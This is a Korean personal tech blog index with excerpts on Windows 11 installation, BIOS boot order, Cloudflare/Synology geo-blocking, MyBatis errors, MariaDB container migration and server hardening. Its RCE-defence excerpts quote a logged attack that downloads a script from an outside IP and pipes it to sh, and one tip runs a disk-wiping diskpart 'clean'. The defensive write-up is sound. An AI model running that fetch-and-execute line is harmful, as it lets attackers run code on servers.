분류 전체보기 (481) 썸네일형 리스트형 Window11 OS 설치시 (업그레이드를 시작하고부팅한것 같습니다.. 컨펌창 노출시 해결) Window11 OS 설치가 끝나고 해당 컨펌창이 뜨는 경우 아래 두가지를 수행하니 해결되었다.그런데 그냥 USB 빼고 재부팅 하면 될 것 같다. 1. 파티션 분리되어 있는 거 다시돌려놓기 컨펌창 나온 화면기준으로 실행하면됨 1-1) Shift +F10누르기1-2) 아래명령어로 mbr로 바꾸기( MBR은 드라이브 전체, GPT는 디스크 분할) diskpartlist diskselect disk 0cleanconvert mbr 1-3) exit 두번해서 나가기 2. 확인버튼 누르기(USB 뽑고나서) 재부팅 되며 Window 셋팅화면으로 넘어감 Windos11 OS 설치시 USB인식 안되는 경우 (boot from efi file) 윈도우설치파일이 있는 USB를 꽃은 후 재부팅시boot from efi file 가 뜨는 경우 아래와 같이 진행하면 된다. 1. 재부팅후 F9 연타 부팅 후 F9를 연타하면 BIOS 설정에 들어갈 수 있다. 2.Boot Options의 순서바꾸기"USB flash Drive/USB HardDisk"를우선순위를 첫번째로 잡으면 된다.3. F10 을 눌러 저장한 뒤 재부팅하기4. USB 선택하여 OS 설치 외국 IP차단시 구글 검색결과 미노출 (synology or CloudFlare) 해킹 시도가 많이 들어와 한국 외 모두 차단해놓았다.구글 봇은 검색엔진을 위해 여러 나라에서 요청이 들어오는데 그것도 함께 차단되어서 구글 검색 결과에 노출되고 있지 않은 문제가 생겼다. 시놀로지에서 제공하는 국가차단을 한국 외 모두 차단해놓았는데해제해보았다. 만약 클라우드 플레어 사용시 아래에 rule 중에 나라별 차단이 있는지 확인해본다. 설정 후 다시 색인 요청을 해본다. 성공시 요청되었다고 나온다. 마이바티스 에러 해결 org.apache.ibatis.binding.BindingException: Invalid bound statement (not found) SpringBoot 4.x 와 Mybatis 4.x 버전 사용 Mybatis 최초 연결시 체크리스트를 만들어 보았다. 1. application.yml 설정mybatis: mapper-locations: classpath:/mapper/**/*.xml #쿼리위치 type-aliases-package: com.example.test #xml에서의 파라미터, resultType 찾는 패키지 configuration: #카멜케이스 map-underscore-to-camel-case: true jpa: hibernate: ddl-auto: create mybatis 설정은 들여쓰기 없이 제일 왼쪽으로 붙여서 추가 2. @MapperScan 혹은 @Mapper 어노테이션 확인@M.. docker container mariadb 데이터 그대로 다른 서버에 옮기기 맥미니 서버를 시놀로지로 이전하는 중에DB데이터도 마찬가지로 이동하였다. 사용했던 방법을 기록하려고 한다. 순서1. dump 파일명 확인2. sql dump 생성하기3. SCP로 파일을 이동한다.4. 이전할 db container에 복사하기 1. dump 파일명 확인 docker exec -it 컨테이너명 shwhich mariadb-dumpwhich mysqldump 두개 해보면 결과가 나오는 것으로 진행하면 된다. 2. sql dump 생성하기docker exec 컨테이너명 mariadb-dump -u root -p비밀번호 스키마명 > backup.sql 중요한 것은 -p 옵션 뒤에 비밀번호를 띄우지 않고 입력 3. SCP로 파일을 이동한다.scp -r 파일명 원격서버아이디@원격서버주소:원격서버.. 웹 서버 자동화 공격 방어2 - fail2ban 셋팅 https://tomhoon.tistory.com/881 웹 서버 자동화 공격 방어(Remote Command Execution (RCE) attack, nginx, cloudflare, fail2ban 셋팅)홈서버에 이상한 로그가 쌓이길래 보았더니아래와 같은 명령어가 계속 쌓였다. : [Error: spawnSync /bin/sh ENOBUFS] { : -105, : 'ENOBUFS', : 'spawnSync /bin/sh', : '/bin/sh', : [ c', -q http://221.156.167.200:9090/js/grepb32.txttomhoon.tistory.com 홈서버에 RCE 공격이 계속 들어와 방어를 위해 셋팅을 하고 있다.그 중 fail2ban을 통해 설정에 따라 요청 차단을 시켜.. 웹 서버 자동화 공격 방어(Remote Command Execution (RCE) attack, nginx, cloudflare, fail2ban 셋팅) 홈서버에 이상한 로그가 쌓이길래 보았더니아래와 같은 명령어가 계속 쌓였다. : [Error: spawnSync /bin/sh ENOBUFS] { : -105, : 'ENOBUFS', : 'spawnSync /bin/sh', : '/bin/sh', : [ c', -q http://221.156.167.200:9090/js/grepb32.txt -O- |sh' 검색해보니 Remote Command Execution (RCE) attack 라고 하는데해커의 서버에 있는 스크립트 다운받아서 실행하는 거란다. 저기에 있는 텍스트 파일을 접속해보니 아래와 같은 파일들이 있었다. [전체 코드] [Error: EROFS: read-only file system, open '/var/tmp/6h7hvj9t.sh'.. 웹 서버 자동화 공격 방어 (CloudFlare 도메인 연결) 1. 도메인 추가2. 가비아(도메인 구매처)에서 NS 설정 도메인 구매처에서 DNS 네임서버를 CloudFlare로 바꿔주어야한다. 3. 적용되기까지 기다리기 바로 적용시켜주려면 위와 같은 버튼을 클릭하면적용이 시작된다. 그래도.. 30분은 걸리는 듯 4. Let'sEncrpyt 사용시 Full(strict)로 설정해야함 이전 1 2 3 4 ··· 61 다음